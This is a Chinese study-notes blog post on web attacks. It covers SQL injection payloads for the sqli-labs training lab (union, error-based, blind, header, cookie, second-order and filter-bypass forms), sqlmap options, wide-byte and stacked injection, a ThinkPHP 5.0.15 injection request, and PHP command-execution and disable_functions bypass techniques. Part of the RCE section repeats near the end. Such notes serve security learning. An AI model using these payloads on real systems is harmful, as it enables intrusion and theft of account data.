第5-10天学习笔记

  • [第5天 SQL注入基础](#第5天 SQL注入基础)
  • [第6天 HTTP头注入与绕过](#第6天 HTTP头注入与绕过)
    • [一、Less-18 User-Agent注入](#一、Less-18 User-Agent注入)
    • [二、Less-19 Referer注入](#二、Less-19 Referer注入)
    • [三、Less-20 Cookie注入](#三、Less-20 Cookie注入)
    • [四、Less-23 注释符绕过](#四、Less-23 注释符绕过)
    • [五、Less-24 二次注入](#五、Less-24 二次注入)
    • [六、Less-25 双写绕过](#六、Less-25 双写绕过)
    • [七、Less-26 空格过滤绕过](#七、Less-26 空格过滤绕过)
    • [八、Less-27 大小写绕过](#八、Less-27 大小写绕过)
    • 九、SQLMap使用
  • [第7天 宽字节与堆叠注入](#第7天 宽字节与堆叠注入)
    • [一、Less-32 宽字节注入](#一、Less-32 宽字节注入)
    • [二、Less-37 POST宽字节](#二、Less-37 POST宽字节)
    • [三、Less-38 堆叠注入](#三、Less-38 堆叠注入)
    • 四、编码对比
  • [第8天 ThinkPHP漏洞](#第8天 ThinkPHP漏洞)
    • [一、ThinkPHP 5.0.13-5.0.15 SQL注入](#一、ThinkPHP 5.0.13-5.0.15 SQL注入)
  • [第9天 预编译绕过](#第9天 预编译绕过)
  • [第10天 RCE与综合漏洞](#第10天 RCE与综合漏洞)

第5天 SQL注入基础

一、核心函数汇总

截断函数

  • substr(str, start, length) / substring()
  • left(str, length) / right(str, length)
  • mid(str, start, length)

判断函数

  • length(str) - 返回字符串长度
  • ascii(char) - 返回字符的ASCII值
  • if(condition, true_val, false_val) - 条件判断

关键数据库表

information_schema:

  • SCHEMATA - 记录所有数据库名
  • TABLES - 记录所有表名
  • COLUMNS - 记录所有列名

二、Less-1 联合查询注入

完整复现步骤:

  1. 判断注入点

    http://localhost/sqli/Less-1/?id=1'

页面报错,确认存在单引号注入

  1. 判断列数

    ?id=1' order by 1--+
    ?id=1' order by 2--+
    ?id=1' order by 3--+ # 正常显示
    ?id=1' order by 4--+ # 报错,确定为3列

  2. 判断回显位置

    ?id=-1' union select 1,2,3--+

回显位置为2和3

  1. 获取当前数据库

    ?id=-1' union select 1,database(),3--+

得到:security

  1. 获取所有表名

    ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

得到:emails,referers,uagents,users

  1. 获取users表的列名

    ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

得到:id,username,password

  1. 获取账号密码

    ?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

三、报错注入

updatexml()函数

复制代码
http://localhost/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,user(),0x7e),2)--+

常用报错注入函数

  1. extractvalue() - XPath语法错误,最多32位
  2. updatexml() - XPath错误,最多32位
  3. floor()+rand()+group by - 主键重复报错
  4. exp() - 数值溢出(需MySQL 5.5.5+)
  5. geometrycollection()/multipoint()/polygon() - 几何函数报错
  6. NAME_CONST() - 重复列名报错

四、Less-5 布尔盲注

页面只有两种状态(正确/错误),需要通过布尔判断逐个字符获取数据。

思路

  1. 猜测数据库名长度:?id=1' and length(database())=8--+
  2. 逐个猜解字符:?id=1' and ascii(substr(database(),1,1))=115--+
  3. 使用Burp Intruder或Python脚本自动化

五、信息收集技巧

子域名查询工具

  • layer子域名挖掘机
  • 子域名破解工具

第6天 HTTP头注入与绕过

一、Less-18 User-Agent注入

注入点在User-Agent头:

复制代码
POST /sqli/Less-18/
User-Agent: ' OR extractvalue(1,concat('!',database())) OR '
uname=admin&passwd=123&submit=Submit

二、Less-19 Referer注入

注入点在Referer头,方法同Less-18

三、Less-20 Cookie注入

Cookie值直接带入SQL查询:

复制代码
Cookie: uname=admin' union select 1,user(),3#


四、Less-23 注释符绕过

过滤了#--+,使用;%00或闭合方式绕过:

复制代码
?id=-1' union select 1,2,3 or '1'='1

五、Less-24 二次注入

完整步骤:

  1. 注册恶意账号

    • 用户名:admin'#
    • 密码:123456
  2. 登录admin'# 获取session

  3. 修改密码

    • 新密码改为:pass888
  4. 原理分析

    SQL语句为:UPDATE users SET PASSWORD='$pass' WHERE username='$username'

    实际执行:UPDATE users SET PASSWORD='pass888' WHERE username='admin'#'
    #注释了后面的内容,修改的是admin的密码

六、Less-25 双写绕过

过滤了orand,使用双写绕过:

复制代码
?id=-1' union select 1,group_concat(username,0x3a,passwoorrd),3 from users--+

七、Less-26 空格过滤绕过

过滤空格,使用以下方式替代:

  • /**/ - 注释代替空格

  • %0a - 换行符

  • () - 括号替代运算符

    ?id=1' &&(updatexml(1,concat(0x7e,database(),0x7e),1))&&('1')='1

八、Less-27 大小写绕过

复制代码
?id=100'%0aUniOn%0ASElecT%0a1,2,3;%00


九、SQLMap使用

复制代码
sqlmap -u "url" --level=5 --risk=3 --technique=BEUSTQ

--level: 测试级别(1-5),越高payload越多
--risk: 风险级别(1-3),3会有基于or的注入
--technique: 指定注入技术
  B: Boolean-based blind
  E: Error-based
  U: Union query-based
  S: Stacked queries
  T: Time-based blind
  Q: Inline queries

第7天 宽字节与堆叠注入

一、Less-32 宽字节注入

原理:

GBK编码中,两个字节代表一个汉字。当输入%df'时:

  • %df\(0x5C)组合成%df%5c
  • 这个组合在GBK中被识别为汉字
  • 单引号逃逸出来

复现步骤:

复制代码
?id=-1%df' union select 1,user(),3--+

二、Less-37 POST宽字节

复制代码
uname=admin%df'#
passwd=123

三、Less-38 堆叠注入

原理:

堆叠注入可以执行多条SQL语句,使用;分隔。

示例:

复制代码
?id=1';insert into users(id,username,password) values(100,'test','123')--+

限制:

  • 不适用union/select/insert
  • 适用于文件操作、修改数据等场景

四、编码对比

编码方式 特点
GBK 汉字占2字节,固定长度
UTF-8 可变长编码,汉字占3字节
Unicode 不可变长

第8天 ThinkPHP漏洞

一、ThinkPHP 5.0.13-5.0.15 SQL注入

环境搭建

  1. 下载ThinkPHP 5.0.15源码

  2. Windows环境配置:

    • framework目录重命名为thinkphp
    • 配置虚拟主机指向public目录
  3. 虚拟主机配置:

apache 复制代码
<VirtualHost *:80>
    DocumentRoot "D:/tp5/public"
    ServerName tp5.com
</VirtualHost>

漏洞复现

复制代码
http://tp5.com/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&name[2]=1

第9天 预编译绕过

一、MySQL预编译机制

真预编译

流程:建立连接 → 构建语法树 → 执行

  • SQL语句结构与参数完全分离
  • 无法进行SQL注入
  • 常用于生产环境

虚假预编译

  • 只是字符串拼接
  • 16进制编码可能被绕过
  • 存在宽字节注入风险

预编译失效场景

  1. ORDER BY子句

    • ORDER BY使用标识符,不是数据值
    • 预编译不适用于此位置
    • 解决:使用白名单验证
  2. GROUP BY子句

    • 同ORDER BY

二、MySQL绕过技术总结

  1. 编码绕过:16进制、URL编码
  2. 注释绕过/**//*!*/
  3. 大小写绕过
  4. 双写绕过
  5. 特殊字符绕过%0a%09
  6. 宽字节绕过

三、未授权访问

file-open相关问题:

  • 配置不当导致数据库未授权访问
  • 默认弱口令问题

第10天 RCE与综合漏洞

一、PostgreSQL注入

simple_query协议

  • 有参数绑定机制
  • 存在请求体溢出漏洞
  • 需要大内存环境,实际复现困难

二、请求走私

通过构造特殊HTTP请求绕过WAF检测

三、DataEase

数据分析平台的漏洞利用

参考文档:

https://www.cnblogs.com/cwkiller/p/18957721

四、RCE远程命令执行

PHP常用命令执行函数

函数 说明
system() 直接执行命令并输出结果
exec() 执行命令,需echo输出
shell_exec() 执行命令,返回结果字符串
passthru() 直接输出命令执行结果
proc_open() 进程控制,更灵活
popen() 打开进程管道
eval() 执行PHP代码
assert() 执行PHP代码(PHP 7中变更)

回调函数

  • call_user_func()
  • call_user_func_array()
  • array_map()
  • usort() / uasort()

绕过disable_functions

  1. LD_PRELOAD:通过环境变量劫持系统函数
  2. Shellshock:利用bash破壳漏洞
  3. FFI:PHP 7.4+外部函数接口
  4. COM组件(Windows)
  5. ImageMagick
  6. GC UAF:PHP垃圾回收利用

curl命令执行

php 复制代码
system('curl -V');

| 执行PHP代码 |

| assert() | 执行PHP代码(PHP 7中变更) |

回调函数

  • call_user_func()
  • call_user_func_array()
  • array_map()
  • usort() / uasort()

绕过disable_functions

  1. LD_PRELOAD:通过环境变量劫持系统函数
  2. Shellshock:利用bash破壳漏洞
  3. FFI:PHP 7.4+外部函数接口
  4. COM组件(Windows)
  5. ImageMagick
  6. GC UAF:PHP垃圾回收利用

curl命令执行

php 复制代码
system('curl -V');
相关推荐
xhbaitxl2 小时前
算法学习day24-回溯
学习·算法·排序算法
Rousson2 小时前
硬件学习笔记--94 小型光伏板原理、结构、功率及电流计算介绍
学习
EmbedLinX2 小时前
内存池学习笔记(附C++完整实现)
c++·笔记·学习
嵌入式×边缘AI:打怪升级日志2 小时前
USBX虚拟串口源码分析与改造笔记
笔记·学习笔记·usb
xhbaitxl2 小时前
算法学习day27-贪心算法
学习·算法·贪心算法
Sarvartha3 小时前
RAG学习笔记
人工智能·学习·飞书
BlackWolfSky3 小时前
鸿蒙中级课程笔记3—ArkUI进阶6—ArkUI性能优化实践(长列表加载性能优化)
笔记·华为·harmonyos
马猴烧酒.3 小时前
智能协图云图库学习笔记day6-主流图片优化技术
笔记·学习
静小谢3 小时前
前端mock假数据工具JSON Server使用笔记
前端·笔记·json